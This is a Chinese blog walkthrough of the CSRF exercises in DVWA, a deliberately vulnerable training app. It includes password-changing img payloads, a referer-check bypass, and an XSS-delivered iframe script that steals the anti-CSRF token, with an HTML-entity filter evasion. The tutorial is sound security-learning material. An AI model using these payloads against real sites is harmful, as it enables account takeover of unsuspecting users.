dvwa csrf

版权声明:本文为博主原创文章,转载请联系博主 https://blog.csdn.net/he_and/article/details/80346982

科普

csrf就是江湖中的借刀杀人,这里的刀就是用户的cookie,例如:当一个用户登陆了某个系统时,该用户就持有了这个系统分发给他的会话,然后csrf这个漏洞就是我们可以利用这个会话来伪造请求。具体的利用方法,我将通过dvwa中的实例来讲解。
这里有一篇关于csrf原理的文章
科普文:http://www.52jb.net/wangluo/41.html

low

虽然我们的dvwa中比起真实的环境差了太多,但是我们可以假设我们现在处于一个真实的环境中,我们打开csrf页面,可以看到是一个改密的页面:
这里写图片描述
这属于一个比较典型的csrf案例,当我们提交改密的请求时,可以看到浏览器发出了一个get请求:
这里写图片描述
这个请求就是需要我们构造的请求。其中password_new和password_conf就是我们想要修改后的密码。现在我们想一下怎么来利用这个漏洞,这个漏洞的利用就是:
目标用户在登陆了目标网站的情况下,访问了我们构造的恶意改密链接。访问了我们的改密链接过后,由于它带着目标网站的cookie,所以我们的而已请求可以被服务器认识,那么攻击也就成功了。
当然这就涉及到我们伪造链接一定要具有隐蔽性,否则可能只有傻子才会去点击。
所以我们一般会在自己的服务器上构造一个页面,然后这个页面中写入这样一行代码:

<img src='http://被攻击的ip/dvwa/vulnerabilities/csrf/?password_new=你想要的密码&password_conf=你想要的密码&Change=Change'>

比如这个页面在我们的服务器上保存为test.html,所以我们构造的链接就变成了:
http://我的服务器的ip地址/test.html,然后我们把这个链接想方设法放到目标用户易点击的地方,当用户点击过后,它的密码就被修改了。

medium

同样时get方式来更改密码,拿到可以构造的url:
这里写图片描述
然后我们再其它复制这个链接,新开一个窗口请求一下,看看能否成功:
这里写图片描述
很明显,改密失败了,而且还报了一个错误,从这个错误可以推断出后台进行了http_referrer判断,这个我们有机会绕过的,我们从源码里看一下到底http_referrer需要满足怎样的要求:

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 

            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

关键在这一句:

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false

就是http_referrer中必须有被请求页面的主机名,那么就很简单了,我就直接构造一个文件名为localhost.html(我本地搭建的dvwa)的页面放在我的服务器上,然后里面还是写一个改密请求:

<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">

这样后台在验证referrer的时候,也就有它的主机名了,也就是我这里的localhost,这样就成功绕过了检验。

high

同样简单的构造一下改密链接,结果:
这里写图片描述
很明显,这是加了一个token,我们查看一下源码:
这里写图片描述
很显然,就是这个东西了,每次修改密码时,这个东西也会一起被提交到后台,然后后台验证,而且这个token每次请求都时随机生成的,所以,我们现在想要构造一个恶意链接必须要拿到这个东西。
怎么拿到这个东西呢?现在有两个思路:
A.仅仅利用csrf,构造一个恶意链接,这个链接指向我们服务器的某一个页面,这个页面中用iframe包含了这个登陆页面,并通过js脚本将user_token给取出来,然后在构造链接,并自动访问。
B.利用xss,xss去获取user_token,然后再构造链接

A方案看似很完美,而且再很久以前也是可行的,但是自从有了同源策略这个东西,同源策略禁止了跨域的读,这里跨域就是从我的服务器读取受害者的域里的东西。
同源策略:http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
B方案就是直接利用dvwa的xss平台,插入一段改密脚本:

<iframe src="../csrf" onload="var a=new XMLHttpRequest();var token=top.frames[0].document.getElementsByName('user_token')[0].value;a.open('get','../csrf/&#x69;ndex.php?password_new=1234&password_conf=1234&Change=Change&user_token='+token,false);a.send(null)">

脚本大体思路:
1.嵌入目标页面
2.获取token
3.利用获取到的token构造恶意链接
4.利用xhr技术,将恶意请求自动发送

注:这里有一处我用了html编码,是对字母i进行了编码,如果不变码的话,会被过滤器给过滤掉

整体流程就是这样,执行过后密码就会被修改,对了我利用的是dvwa中反射型xss,直接就修改了,当然也可以用存储型的

天行健

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页